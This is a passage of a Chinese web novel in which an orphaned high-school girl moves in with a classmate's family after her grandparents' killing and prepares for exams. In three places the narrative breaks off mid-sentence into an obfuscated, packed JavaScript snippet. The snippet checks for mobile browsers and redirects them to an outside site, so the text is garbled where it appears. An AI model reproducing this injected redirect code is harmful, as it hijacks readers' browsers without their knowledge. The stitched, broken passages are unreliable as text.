祁建强自尊心受挫,疯狂锤桌子,手腕处被手铐硌出了一道血痕:“我畜牲?你她妈姓祁!是老子她妈给的你这条贱命!” “谁稀罕你给的命?我一点都不想要!” 他给她指路:“那你滚去死啊!” 她的眼圈红了,她不懂他为什么要这样,她好羡慕别人都有个好爸爸。 殷曼到死都没落下个好名声,她当初为什么选择跟了个这样的畜牲? 她想不通。 简直害人又害己。 祁缘喊的嗓子都哑了,她咳了声,有些疼。 她在这里待着只会加重她的情绪,宋健不想她再受刺激,把她推出去,让外面的宋嶙带她回家,这里的事就留给他自己处理。 哭过以后眼睛很干,外面刮着风,吹的她眼睛生疼。 宋嶙向她伸出手:“走吧,回家。” 他的手在空中悬着,面前的人始终没动。 祁缘眼神空洞,失了焦。她听见自己说:“我没有家了。” 听完这话,宋嶙的心咯噔一下,他把她拉进怀里,抱紧,揉了揉她的头顶。经历了这么多,他现在心口揪着疼,但他不能表现出来,因为他还有更重要的任务去做。 他问她:“我是不是你哥?” 祁缘想了想,“嗯”了一声。 他又问:“那从现在开始,我家就是你家了,你是不是得跟着哥哥回家?” 哄小孩儿的语气,就差给她根糖吃了。祁缘抬起头,明明是她比他大,可怎么一直以来都是宋嶙在照顾她? 她不想麻烦他们了,便摇了摇头,说:“我自己可以的。” 她没什么期待,更不一定要过的多好,每个人都有每个人的活法,当印象中少了一些期盼以后,她也就不会那么累了。 可任凭她怎么想,怎么说,宋嶙似乎已经下定决心了,他容不得她拒绝,他今天就是要把她带回去。 这是他和宋健深思熟虑做出来的决定,既然答应了冯丽,那他们肯定要把一切做到最好,如果刚开始就随了她的愿不管她,那他们到时候还怎么跟冯丽交代? 宋嶙手撑着膝盖,他总是这样,看她的眼神里永远装满赤诚:“让你过来你就过来,我和我爸都商量好了,过会儿我们就去那边的房子收拾东西,搬过来以后咱们住在一起,到时候你就住我妈生前那屋。” 祁缘想起来,上次去的时候他家确实有一个屋上着锁,当时她没问,他也就没说。 那是他妈妈的房间,她去了算怎么一回事。祁缘晃脑袋:“真不用,我……” “祁缘,”这是宋嶙第一次对她拉下脸,他认真道:“这是我爸的决定,那个屋从来不住人,但是我爸每天都打扫,他爱我妈,他既然选择让你住进去,那他就是把你当成他闺女了。你能懂吗?” 祁缘顿住,一时竟不知道该如何开口。 她从来没想过这些。 自己的身体里流淌着祁家的血,可走了这么久祁建强甚至都没想起过她,再见到她时也只是满脸厌恶。越是这样她越不敢想,她不敢相信没有血缘关系的人能仅凭一句承诺就待她像自己的孩子。 然而就在她深陷自我怀疑的时候,宋嶙选择再一次告诉她:“我说的都是真的。” “你很好,别溃败。” 明明自己的生活也是一团糟,但他还是想伸手拉她一把。 祁缘苦笑出声,头发被泪水沾湿,被风扫了一脸。 宋嶙先带着祁缘回了一趟家,让她好好休息一下,他把门窗什么都锁好,看万无一失了才折返回去找宋健。 他们一起去了冯丽家。 推开大门,宋嶙看见院子里长的郁郁葱葱的野菜,他不禁想起了冯丽和殷鹏和蔼可亲的笑脸。这就是宋健为什么不让祁缘过来的原因,他们踏进去,房门没锁,虚掩着,屋里一片狼藉,各种东西的碎片混在一起,要多乱有多乱。 报案时警察就已经在现场取过证了,虽然这里不住人了,但总归要收拾收拾,宋嶙站在原地,不知该从何下手。 宋健说:“你找个袋子把那些东西装里吧,我擦屋子。” “行。” 宋健叹了一口气,去厨房找来水盆接满水,抹布搭在盆沿上,他先把家里剩下的那些完好的东西放回原处,然后再拿着抹布一一擦拭。 小袋子装不了什么,宋嶙去仓库找来个蛇皮袋,把那些有用的没用的一股脑儿的往袋子里塞,圆滑的东西一但碎了就会变得无比锋利,宋嶙一个没注意,被碎掉的花瓶扎破了手。 柜子上有创可贴,宋健拿过来一个,撕开在他手指小心贴上,他说话的鼻音很重:“儿子,加点小心。” 宋嶙欲言又止,最后“嗯”了一声,退后继续收拾。 杂乱的东西收走了,地上干涸的血迹就会变得异常清晰。正好宋嶙手上的袋子满了,宋健借这个理由让他去把袋子扔到村口的垃圾箱里,一直等他走远了他才开始清理那些血迹。 他不敢想象他们当时有多疼。 两个上了年纪的老人好端端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祁缘把单薄的背影留给他,乖乖照做。 宋嶙进屋把被子放到床上,当时他找遍了家里都没有大袋子,干脆拿了个绳子捆上,这会儿他把绳子拆下来,布料中间被勒出了一条印子。 “我来吧。”他还要帮她铺,祁缘上前一步,声音沙哑。 宋嶙把她拉到一边:“去那里坐着就行,这点儿玩意谁用你。” “我把衣服也给你拿过来了,这个等下你自己收拾吧。” 他扔给她一个小兜。毕竟男女有别,宋嶙不敢细收拾,干脆全都团在一起,一下子全塞兜子里了。 祁缘接过袋子,“嗯”了声。这次声音极轻,不仔细听都听不见。 宋嶙手上的动作一顿,铺好以后拍了拍被子,招呼她:“过来睡一觉吧,我一会儿出去给你买点药。” 祁缘咳了声,音色正常了些:“不用买,用不了几天就好了。” 殷曼去世的时候她也是这样的,就是有点儿上火了,根本不用吃药。 宋嶙没继续那个话题,看了她一眼:“那你过来睡觉。” 祁缘没动,他催促道:“赶紧的。” “哦。”她过去躺下,宋嶙帮她掖了掖被角,转身想走,又怕她趁他走了以后想那些有的没的。 他干脆拉了个凳子过来,守着她睡。 结果旁边有人她反倒不自在,祁缘在被窝里憋了半天,她又睁开眼睛:“要不你出去?” 宋嶙闻言看了她一眼:“我看手机又没看你,赶紧睡觉。” “……行吧。” 她折腾了半天,宋嶙就偷偷看了她半天,终于在十分钟以后,她没了动静,呼吸均匀,安分地睡着了。 宋嶙在屋里走了两步,见她是真的睡着了,这才拉开屋门下楼买药。 睡一觉吧,一觉醒来就好多了。 39. 第 39 章 不知道是不是太累了,祁缘这一觉,睡得有点儿长。 她好像从入睡开始就一直在做梦,起初梦到去世的殷曼,再后来梦到一些妖魔鬼怪。她怕得很,钻到老家的床底,是殷鹏出现打跑了他们。 祁缘看见妖怪被打跑了才哭哭啼啼地爬出来,冯丽摸了摸她的头,笑起来时眼角堆起几道褶皱。她安抚她:“怕什么?你外公会永远保护你的。” “真的吗?”祁缘亮起眼睛,一个劲儿的往冯丽怀里缩,“那你们可要一直陪在我身边。” 她等待着两人的回应,可始终没听见回答,她顿住,发现眼前两人的身躯正在化作灰烬,逐渐消散。她企图挽留,突然耳后扬起一阵风,一瞬间就把他们吹的无影无踪。 “外公!外婆!” 祁缘对着黑暗伸手,醒来时胸脯正剧烈起伏着,她满身都是汗,就连后背也黏糊糊的,衣服正紧实地贴在身上,弄得她一阵难受。 感觉到眼角痒痒的,她伸手一摸,脸上还有刚才流下的眼泪。 想起来了,全都想起来了。 现在正是晚上,几点不知道,她没有手机。祁缘在黑暗中躺着缓了一会儿,过了半天才下地去把卧室灯打开。 在此之前她还没注意到房间的细节,当时她也没心情打量,祁缘突然发现这间屋子与别的屋有所不同。 别的屋都是白墙,只有她所在这间屋子的墙壁刷的是那种淡粉色的漆,窗帘是白纱款的,下面的角落里摆着几个玩偶,是那几年很火的款式,这段时间他们搬走也不常回家,宋健就把它们套进透明袋子里,被他这么一弄,玩偶还保持着它原有的色泽,一点灰尘都没沾到。 满满的少女气息,看得出来,宋健是真的很爱他的妻子。 这一点是祁建强永远也做不到的。 祁缘仰着头,往后退时碰到了床头柜,她这才看见床头柜上摆着的药。 没有药盒,也没有多余的药,就一粒含片安静的躺在那里,旁边摆了杯白水,天气逐渐转热,杯壁还是温的。 他好像很怕她寻短见。 正想着,门突然被敲响,她走过去打开,宋嶙站在门边,揉了揉眼睛。 “什么时候醒的?”他刚睡不一会儿就被渴醒了,起来打算去客厅找水喝。两屋是对着的,他一开门就看到从她这屋门缝透出来的微弱的光。 祁缘脸上没什么表情,像是灵魂被夺舍了一般,只剩下一个躯壳。她淡淡道:“刚醒。” 宋嶙“啊”了声,探过来半截身子,看了眼桌上的药,道:“你先去把药吃了,精神精神再出来,我去厨房给你煮碗面吃。” 祁缘刚想说自己不饿,可宋嶙没给她拒绝的机会,转身就往厨房走。 祁缘盯着他瘦高的背影看了两秒,片刻后脸转了回来,她先去把药吃了,然后换了件睡衣,粘腻的衣服褪下去,瞬间感觉身上清爽了许多。 祁缘又把兜子里的衣服全都拿出来整理了一下,她衣服不是很多,连衣柜一半都没装上,但把自己东西填进去了以后她才感觉这个屋子真真实实的成为了她的。 全都收拾好了以后她才出去,厨房上空环绕着汤面的香气,还挺好闻。宋嶙听见动静,没回头,让她过去坐着。 “宋叔叔呢?还没回来吗?” “太晚了,他在那边住一宿,明天回来。” “哦,”祁缘没动,顿了顿,又说:“宋嶙,我想洗衣服。” 她小声道,宋嶙这才回头看见她臂弯里挂着的衬衫,他伸手接过,随手放到一边的凳子上,揽下这个活:“一会儿我去洗。” “不用你洗,你就告诉我……” “你赶紧去坐着,别跟我犟,我一会儿丢洗衣机就完事了。” 洗衣机洗也方便,她抿着唇,“那好吧。” 面熟了,宋嶙弯腰把煤气关了,把面倒进盆里拌了拌,不知道他往里加了什么,反正忙活了半天才完事。 他又倒在盘子里才端过来,祁缘愣住两秒,是炸酱面。她拿着递来的筷子搅了两下,发现面少,肉沫多。 祁缘问:“你还会做这个?” “看不起谁呢。”宋嶙拿起刚才放在凳子上的衣服,转身往浴室走,突然想到了什么,他又折返回来。 “吃完了放那就行,一会儿我刷。” “哦。” 宋嶙走了,厨房里静悄悄的,这里只剩下她一个人了。 她本来是不怎么饿的,火大,但可能是他手艺不错,光是闻着味儿她就馋了,没想到今天胃口大开,祁缘一口接着一口的吃,她有那么一瞬间感觉自己好像好几天没吃过饭了一样。 吃到最后,她舔了下唇上的酱汁,宋嶙做的实在是太多了,想到她吃完的别人也吃不了了,本着不浪费的原则,后面那几口她几乎是强塞着吃下去的。 她从来没像今天吃这么饱过,现在有些撑的慌,肚子鼓的像个皮球。祁缘端着空碗过去洗,要是一会儿宋嶙出来了他就不会让她洗了。碗放进水槽,她把水龙头打开,凉水冲到手上的那一刻,她燥热的心也跟着凉快了许多。 没过多久宋嶙从浴室出来了,手上拿着他刚洗好的衬衫,他看了眼干净的桌面,又看向水槽里正在滴水的空碗,有些不乐意了。 四目相对,他皱着眉:“不是说我出来洗吗?” 祁缘此时眼睛已经消肿了许多,一副可怜巴巴的样子,她微弱地出声:“一个碗而已,不是谁洗都一样嘛。” 宋嶙可不这么觉得,一边搭衣服一边给她下命令:“反正在我家你就得听我的,家里没什么用你做的,你就老实待着就行。” “……”这下祁缘也不乐意了:“你这不是把我当成好吃懒做的废人了吗?” 衣服挂上去了,宋嶙甩了甩手上的水,反驳道:“怎么就被你曲解成这个意思了?当初我妈在家就是这种待遇,所以作为女性,你也得遵守。” “那不一样……” 他妈是他妈,她是她。她跟他又没有血缘关系,她现在这种情况属于寄人篱下。 “什么一样不一样的?”宋嶙看了眼手机,这么一折腾都凌晨两点了,他催促道:“你现在赶紧去冲个澡,然后回去乖乖睡觉。” 他刚才给她洗衣服的时候还没泡水就摸着湿答答的,这个时候天气温度适中,正常情况下不会出汗,湿成那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073535|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计是做什么不好的梦了。 宋嶙在洗手台下的柜子里给她找了条新的毛巾,顺便还翻出来个挂钩,他把包装撕开,把挂钩粘到墙上,说:“以后你的毛巾就挂这儿,缺什么明天我去买。” 以后,以后。好像成了一个长久的打算。 “没什么需要买的,我什么都不缺。”祁缘接过毛巾,把他往出推:“我要洗澡了。” “行,行。” 宋嶙往后退,替她拉上门,他在门口站了一会儿,然后走向阳台。 北城不算大,甚至可以用小来形容。阳台景和他这段时间住的出租房很不一样,那边不管晚上几点外面都有亮光,而这里只要过了十点,就永远漆黑一片。 这会儿亮着的,只有天上的繁星点点。 他靠在阳台吹了会儿风,额前的碎发被掀起来几根,宋嶙眨了眨酸涩的眼,从口袋里摸出一根烟。 他很久没抽了,最近又捡起来了。 没办法,烦心事太多了。 伴随着打火机按动的声音,火嘴处窜出一束火苗,他叼着烟,在尾端处点燃。烟雾吸进肺里那一刻,周围的一切都变得模糊了。 他不太懂,为什么这种糟糕的事永远发生在他身边。 是永远也不想让他走出来吗? 本来他们都是活生生的人,本来都应该有美好的未来,可老天爷偏要从中作梗,让他们反反复复感受着失去亲人的痛苦,长此以往,有些人已经死了,有些人,也已经死了。 精神被折磨的遍体鳞伤,又何尝不是另一种意义上的死去。 宋嶙弹了下烟灰,吐出一口烟圈。他在想,他们这一生,是不是风暴永远不会褪去,永远还会重来。 安静了不到两秒,他烦躁地抓了把头发,明明不想想这些的,结果一静下心来就往这方面扯。他控制不住。 怎么办?不知道。他被折腾的已经失去力气和这种糟糕的生活对峙了,现在唯一还算明确的目标,就是先把祁缘从这片荒芜之地拉出来。 一根烟吸完,宋嶙没着急走,而是在外面散了散味道才回去。 祁缘此时正巧刚从浴室出来,她那阵出了一身汗,头发都打缕了,干脆洗了个头。宋嶙撩起一缕,半干的状态。 “你怎么不吹一下?头发没干就睡觉容易变成傻子。” “……”他好像很喜欢吓唬人。 “我晾一下就好了。”她从他身边走过,他手心的头发被抽走。她原本是想吹的,结果找了半天吹风机都没找到,想着再折腾一会儿天都亮了,于是简单擦了擦就出来了。 “晾哪有吹快啊?你等着,我……” “宋嶙,”祁缘拉住他,打了个哈欠:“你去睡觉吧,我也有点儿困了,都快睁不开眼睛了。” 她的语气很是疲倦,听上去不像是假的。 宋嶙抿着唇,这次没强迫她:“行吧,那你要是有事记得叫我啊,我就在隔壁。” “好。” 祁缘转身进了卧室,顺手把门带上了。 她握着门把手,没有关灯,没有睡觉,就那么倚在门边站着。 她想外公外婆了。 40. 第 40 章 祁缘这段时间状态一直不太好,白天睡觉,晚上才起来活动,昼夜颠倒致使她头发也跟着一把一把的掉。宋健干脆帮她请了一周的假,让她在家休息了整整一个星期才回去上学。 宋嶙也转回来了,她现在只庆幸还好当时选座没往前面去,所以现在他们还是同桌。 祁缘本来就瘦,经历这一回以后她脸又小了一圈儿,她跟在宋嶙后面进来的时候,何浩楠都不免有些心疼她了。 自从他认识她以来,她好像一直都很惨。 以前的事情他没问过,也不了解,他只知道这姑娘刚来学校就被张晚媛她们欺负,紧接着又被蒋晗捅伤,再到前几天发生的外公外婆被打伤去世。 桩桩件件,一环扣着一环发生,时间加起来也才过去半年多而已。 他不禁开始埋怨,觉得老天爷实在是不开眼,就逮着一个小姑娘欺负。 祁缘坐进去,还没来得及翻书包,光是低头就感受到了周围正向自己身上投来的各种各样异样的眼光。 她咬着唇,宋嶙察觉到了,扭头问她:“你怎么了?” “什么?”祁缘眼下一惊,只用了一秒就迅速调整过来,脸上的情绪顿时无影无踪了。 宋嶙盯着她的眼睛看了几秒,然而却没找出什么别的情绪。 估计是他看错了吧,宋嶙移开视线:“没什么,就是想告诉你,你不管有什么事都要记得跟我说。” 她点头:“好。” 下课祁缘出去上厕所,趁着她不在,何浩楠紧着扒拉宋嶙,他一脸好信:“所以说她现在在你家住着呢?” 宋嶙正在翻着下节课要用到的课本,实话实说:“嗯。” 何浩楠叹了口气:“也是,要不然她也没别的地方去了。” “我觉得你俩应该出去旅游一次。”他又说。 宋嶙手上的动作一顿,脸转过来:“去哪儿?” “什么去哪儿?这还用我给你出谋划策呀?”何浩楠简直无语,眼下是他俩情绪不好,又不是他,他怎么知道? 看某人一脸懵的样子,他又忍不住指点道:“先想想你俩喜欢什么,然后再决定去哪儿,这不就行了?” 宋嶙想了想:“她喜欢雪。” “大哥,都快五月份了,这时候上哪儿弄雪去?”面对这么无理的要求,何浩楠往椅背上一倒,他可犯了难。 “那等寒假的吧。” “寒假?下次放寒假就高三了,你不让她好好准备高考啊?” 这也不行,那也不行,宋嶙听完眉毛揪在一起,估计能夹死一只蚊子,“那怎么整?我没办法了。” 何浩楠看了他片刻,说:“等暑假你们就去呗,去哪看看海,挺好的。” 宋嶙一时没接话,想的认真。半晌,他点了点头:“行,那就按你说的来。” 祁缘直到上课才回来,踩着铃声进来的,跟崔荣一前一后进了教室。 班上的学生小声蛐蛐,这节课不是自习课吗?崔荣怎么进来了? 宋嶙起身给她让位置:“怎么才回来?” 何浩楠扭曲个脸,他想不通:“怎么人家上个厕所你也要管?” 祁缘坐进去,整理了一下校服衣摆,轻声说:“刚才去办公室了,一会儿老师说完你们就知道了。” 台下的声音不大,但一个个都偷偷说,你一言我一语的合起来也就听着嗡嗡响。崔荣先是敲戒尺管理了一下纪律,直到没动静了他才开始说话。 “马上升高三的学生了,应该抓紧时间快马加鞭的学习,哪有你们这种的?都这个时候了还光顾着聊天,你们有时间去看看一班的学生是怎么学的……” “又来了,”何浩楠堵上耳朵,小声道:“念咒一样。” 虽然他人在后排崔荣听不清他说的是什么,但他那个动作也太显眼了,崔荣一阵语塞,立刻咬着牙把矛头指向了何浩楠。 “何浩楠,你说你这样的学生老师要怎么开导你才好呢?人家宋嶙现在都开始学习了,你还像跟老师有深仇大恨一样,高考到时候给那奖学金,你再这么下去我估计你是无望了。” 崔荣与别的老师最大的不同点就是他说话不说绝对,永远给学生留希望,哪怕何浩楠是不学无术、在别人眼里总是惹是生非的大坏蛋,他也会给他一种只要他往好道走,他就一定会出人头地的想法。 这个时候就要有人问了:“奖学金?崔哥,什么奖学金?” 他们可没听说过北中还有这种好事,历年以来都没有。据说上上届有个考了七百多分的女生,当时都有记者过来考察了,学校都没说给点奖学金激励一下。 在他们看来,给奖学金应该是有人给学校捐钱了,北中要做大做强了,要不然就指着那个抠门儿校长,这事属实不大可能。 果然就是这么回事儿,崔荣下一秒就揭晓答案了:“前段时间咱们不是春游来着吗?记不记得咱们组队回去的时候碰到几个穿着西服的领导?他们就是投资人,说咱们学校注重德智体美劳全面发展,合同直接就签了。” 春游…… 这两个字祁缘听不得,她一想到那天发生的事就愈发抑制不住自己的情绪,心脏在胸口砰砰跳着,攥起的拳头紧了又紧,骨节跟着泛起一截白痕。 她发着抖,直到身边的少年拉起她的手。 “别怕,我在。”他轻声安抚她。 话和人一样,永远带给她安全感。 祁缘想起了先前殷曼去世的时候,她被祁建强抛弃,像丢垃圾一样把她丢给了外公外婆。那段时间她很是害怕,不爱说话的原因不光是因为受到刺激,其实一大部分的原因都是在对未来充满恐惧。 但这次没有。 因为她还没有沉入谷底就被他给拉上来了。 他们父子对她很好,没人允许她堕落。 大概是泪流的太多了,干涸了,她这次没哭,只是眨了眨酸涩的眼,声音有些颤。她说:“好。” 崔荣在讲台上说了半天,祁缘是从一半开始听的,但无所谓,具体什么事崔荣刚刚已经在办公室和她说过了,他看了眼她的成绩单,说她再努努力,还是很有希望拿奖学金的。 “从这届高三开始实行,奖学金给到放榜以后全校前十的学生,咱们这届还没定,我估计前二十也是有可能的,但后面给的就少了,我建议你这种情况还是要往前冲,多拿点是最好的。” 什么“情况”,崔荣没有点破。但他身为老师肯定是要了解事情的经过的,祁缘是个心思敏感的孩子,就连麻烦别人一件很小的事她都不愿意,现在这种寄人篱下的日子,就算宋健再怎么对她好,崔荣觉得她都不会心安理得的接受那份爱。 听宋健说,她外公外婆留下的钱给她用来当学费了,可尽管她现在用着的还是自己的钱,也终有一天会花光的。 所以他才建议她冲一冲,马上就是成年人了,有了钱就会有底气,哪怕不算多,这些钱也会送她去想去的地方。 无论天南海北。 好在祁缘也是个听话的孩子,这种事情根本不用他多说,她自己就想着往上冲,还说晚自习的时候会过来找他问题。 “你还想学医吗?这个挺难熬出头的,女孩子做这个太累了。”崔荣还是想唠叨一下她这个志愿的事,他得给她心里打个预防针,总比她什么都不懂,无脑乱撞强。 祁缘想了想,学医这条路确实很难走,她起初是为了殷鹏和冯丽的身体着想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081672|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟他们年纪大了,身上的零件也跟着退化了,肯定会时不时出现点大大小小的问题,而且有些医院会因为是医生的家属做出一些费用减免的政策。 就算不想这些,如果她当上医生了,最起码懂得一些医学知识,这样一来对他们的身体也会有所保障。 可他们没能等到那一天的到来。 但是她还是听见自己说:“想。” 这次不为别人。祁缘记得,宋嶙之前跟她提过一次宋叔叔有胃病的事,前两天她还看见他在屋里背着他们偷偷吃药。 她又一次拥有了想保护的人。 崔荣点点头,他不干涉她的前途,路是她自己选的,他选择成全:“行,有目标是好事,接下来就是向着目标努力前进了,老师相信你一定可以的。” “谢谢老师。” 晚上回家,宋嶙跟祁缘说了暑假想出去旅游的事,没想到还是被她一口回绝了。 宋嶙想不通:“为什么不去?进入高三了咱们就没时间往外跑了,高考前就剩这一个暑假了你还不去啊?” 祁缘攥紧书包带,她是奔着奖学金去的,所以说她现在压力很大。她不是天才,没有聪明的脑瓜,没有别人那么有天赋,尽管上次期末排了第四也不能证明她就有还能继续往上冲的潜力,更何况那个第四还是班级第四。 听外公外婆说他们节俭了一辈子,但他们干的一直都是苦力,积蓄估计未必能留下多少,祁缘也没问过宋健,她不太在意这些。要说在意的,就是那些钱还够不够支撑到她上完大学。 现在不敢用钱,她垂着脑袋,踢了一脚路边的石子:“等等吧,可以等到高考以后再去。” “干嘛?你可别是为了省钱。” 一语中的。 祁缘脚步一顿,还好动作幅度不大,宋嶙应该没发现。 “我省什么钱啊?只是不想去而已。”想了想,她又补了句:“懒。” 宋嶙现在也有点猜不透她,只能先应着:“行吧,那等高考以后啊?” 祁缘这才抬头,问:“可以不?” “怎么还问上我了?我无所谓。”进入楼梯间了,两人说话的声音也跟着变得沉闷。宋嶙摸出兜里的钥匙,等着一会儿开门。他是怎么样都可以,他又不挑。 “行,那就定在高考以后吧。” 到家了,开锁以后宋嶙撑着门给她让路,祁缘从他胳膊底下钻进去,厨房的宋健已经做好了晚饭,刚出锅,屋里满是饭香。 宋健正在刷锅,听见门响,脸转过来:“孩子们快点儿洗手,今晚吃可乐鸡翅和照烧鸡腿。” 宋嶙一听,把书包扔出老远,差点给正在喝水的托马斯砸了。他凑过去揽宋健脖子:“今天咋跟鸡干上了?” 宋健把他手打下去:“你就说你吃不吃?” “吃。”宋嶙往后退了两步,推着祁缘去洗手。他给她手上抹了点香皂,然后把香皂放回肥皂盒里。 她顿了下:“你不用吗?” “不用,我手干净。” “……”她手又不脏。 饭桌上,宋健一直给宋嶙使眼色,让他给祁缘夹菜。 “不行了,太多了。”每次吃饭都这样,她这饭碗让他们堆的跟个小山似的,上面都是菜,她吃不到下面的饭了。 宋健不听,继续给她洗脑:“多吃点好,你这身板太瘦了,胖点好看。” 祁缘没装,她这会儿已经吃了四个鸡翅、三个鸡腿了,现在还没吃到饭,估计要剩饭碗了,想到这个她就想扶脑袋。 “我是真吃不了了,宋叔叔。” “吃不了一会儿给托马斯,或者给宋嶙也行,咱家两个狗呢。” 宋嶙:“……” 41. 第 41 章 祁建强最终得到了法律的制裁,法院判决了他无期徒刑的处罚。 祁缘还是挺满意这个结果的,只要这个畜牲不出来惹是生非,那眼前这个世界总归还是太平的。 接下来的时间她得专心备考了。 当她不打算把自己按在回忆的痛苦里挣扎的时候,身边的一切都像是按下了加速键。 时间首当其冲。 自从进入高三以后,班级里隐隐约约出现了些许变化,吵闹声变少了还算正常,令人意外的是,就连课间时间,屋里也变得静悄悄的。 其实这件事本身不奇怪,奇怪的是发生在他们四班。 不过也好,这样一来倒是给崔荣这个班主任省心了不少,最近他好像都很少出现在班级了,管纪律的频率都比原来少了不知多少次。 崔荣起初还以为孩子们是装的,他这段时间也一直在品,结果发现每次从后门突击检查的时候班里都是安静的。以前上课后排一倒倒一片,现在就算睡也就零星几个,其中有两个是家里有钱不愁吃穿,单纯混日子的,还有两个是实在学不进去干脆放弃了的。 他就这么观察了一段时间,崔荣能感受到大多数人都已经醒悟了,何浩楠就站在这一行列里,他都跟着听课了,有时候还会找祁缘问问题,然而这样的情况被崔荣撞见了还不止一次。 他第一次遇到这种情况的时候还挺意外的,同样这么觉得的还有宋嶙。当时可把他吓坏了,一度以为自己出现幻觉了。 “我感觉今天这太阳都不是从西边升起来的,是不是从何浩楠你家厕所升起来的?” “哎呀,”祁缘推开宋嶙探过来的脑袋,“人家何浩楠想好好学习了是好事,你这么说人家干嘛?” “对呀,都高三的学生了,还是这么没正形。”何浩楠撇撇嘴,跟着附和道。 “你……说我没正形?”现在宋嶙感觉自己不单单是出现幻觉了,他还出现幻听了。到底谁更没正形? “你先别说话,等他听明白这个的。”祁缘左手拿着本子右手拿着笔,用胳膊肘把他往一边扒拉。 她倒是来者不拒,她也不管找她讲题的人基础是好是坏,反正只要是她会的题,她肯定认真负责直到最后。 就比如何浩楠这种学生,他都听了三遍了还没听明白,其实也就崔荣还把他们这帮向来无所事事的学生当回事,搁别的老师早就不管了,有这时间都去拉好学生了。 从小到大,除了崔荣,祁缘是第二个耐心教他的老师。 不过好在最后终于搞懂了,虽然不是什么很难的题目,但何浩楠内心还是萌生出一股自豪感,“说实话,我感觉我行了。” “以前不行啊?”身后有男生凑过来打趣。 “滚!” 何浩楠骂走他们,宋嶙凑过去看他新买的练习册,那是他爸前几天给他买的,积少成多,居然做完好几页了。宋嶙拄着下巴,另一只手覆上去翻回原来的页面。 “突然学习你爸你妈啥反应?” 何浩楠扯了下嘴角:“说起这个我就想笑,起初他俩还以为我身上上了什么脏东西了,非要找人给我看,也是挺无语的。不过经过我的不懈努力他们最近也习惯了,我妈开始变着样给我做好吃的,我爸还答应给我拿下最新款的游戏手柄。这小生活美死我了,要我说我早开窍好了,能多享两年福。” 宋嶙哼笑一声:“早你也没长心啊!手柄让你爸高考以后再给你买,现在拿给你你都得玩冒烟了。” 这话何浩楠不爱听,白了他一眼:“什么意思啊?让你说的我还不会克制了?” “我天,就你?克制这俩字儿你会写吗?” 何浩楠瞪圆了眼睛:“不是宋嶙你看不起谁呢!我何浩楠这几天紧跟时事,为的就是跟你考一个大学,为的就是将来跟你一起入伍,老子下了多少心血你知道吗?” 祁缘写题的手一顿,难怪他最近这么用功。宋嶙比他学习的时间早,而且他还往回学了点以前的知识,这么一对比,两人想考一个学校的话,何浩楠还是有点困难。 “你教一教他以前学的那些。”祁缘对宋嶙说,何浩楠要想自己的成绩有点儿起色,总不可能只学现在这些表面的东西。 “他自己都半斤八两呢,你让他教我?”何浩楠脸上写了一百个不愿意。 “信不着你爹你她妈就自己学。”宋嶙气笑了,从书桌里翻出曾经祁缘给他做的笔记,转头甩给何浩楠,原本祁缘说完他还想大发慈悲教一下他的,还好没说出口,真是好心当成驴肝肺。 何浩楠摆出一副人畜无害的样子,“自己学就自己学,你可别把我带的误入歧途了。” “操。”宋嶙气疯了。 后来的日子始终这么平平淡淡的过着,上课的时候就专心刷题,下课了就聊些窸窸窣窣的琐事放松放松。不知不觉间,学校的老树落叶了,枝头压了一层白。 祁缘在北中,走过了一回完整的春夏秋冬。 高三的寒假放的太晚,临近二月份才放,外出打工的都已经陆陆续续回来了,以前都是孩子等家长,现在是家长盼孩子。 宋嶙家所在的小区除夕的前一天停电了,宋健正在烧水,烧的半生不熟的,怕拉肚子谁也没敢喝。等了半天没来电,宋健下去打听,这才知道楼下贴了停电停水通知。 单子刚贴出来周围就围了一圈人,小到十几岁的孩子,大到七八十岁的大爷大妈,把贴告示的那人堵着,谴责与骂声搅和在一起,乱成一锅粥。 那人捂住耳朵,气的跺脚:“又不是我让停的!” 宋健看了两眼热闹就回家了,想了想,让他们两个收拾东西,今年回农村过年。 “大过年停水停电也不怪人骂,咱仨还是回农村吧,搁这待着冻感冒了哪多哪少,农村烧一烧,火炕比电热毯暖和。” 宋健找了个大行李袋用来装被褥,想着也待不了两天,又把刚拿出来的衣服放回去了。 “你们还有什么落下的没有?”宋健掐着腰,目光在房间里扫视着。 “没有。”祁缘说,她就带了个睡衣和洗漱用品。 宋嶙也想说没有,突然手上的狗绳一紧,他这才想起来,拿张纸巾把狗碗擦了擦:“差点儿忘了托马斯的饭碗。” “忘了就让它用你碗。” “爸!” 祁缘在一旁偷笑,他们父子的相处方式像兄弟一样。 手上的东西统一放进了后备箱,由于托马斯长的太胖,宋健让它去坐副驾驶,托马斯估计是开心了,粉红的舌头伸出来挺老长。 后座的宋嶙抱着胳膊:“这狗在咱家也算是有个一席之地了。” “那你看,下回坐爸这驾驶位啊。”宋健笑着给它系好安全带,然后又在托马斯头上撸了一把。 引擎启动,车内暖气开足,宋健透过后视镜看了眼两人身上的安全带才开动。祁缘以为直接回家,结果屁股都没坐热,宋健刚开出没多远就停下了,祁缘向窗外看去,他们的车子停在了一个大规模超市的门口。 “还是直接把菜买回去吧,要不然明天还得来。” 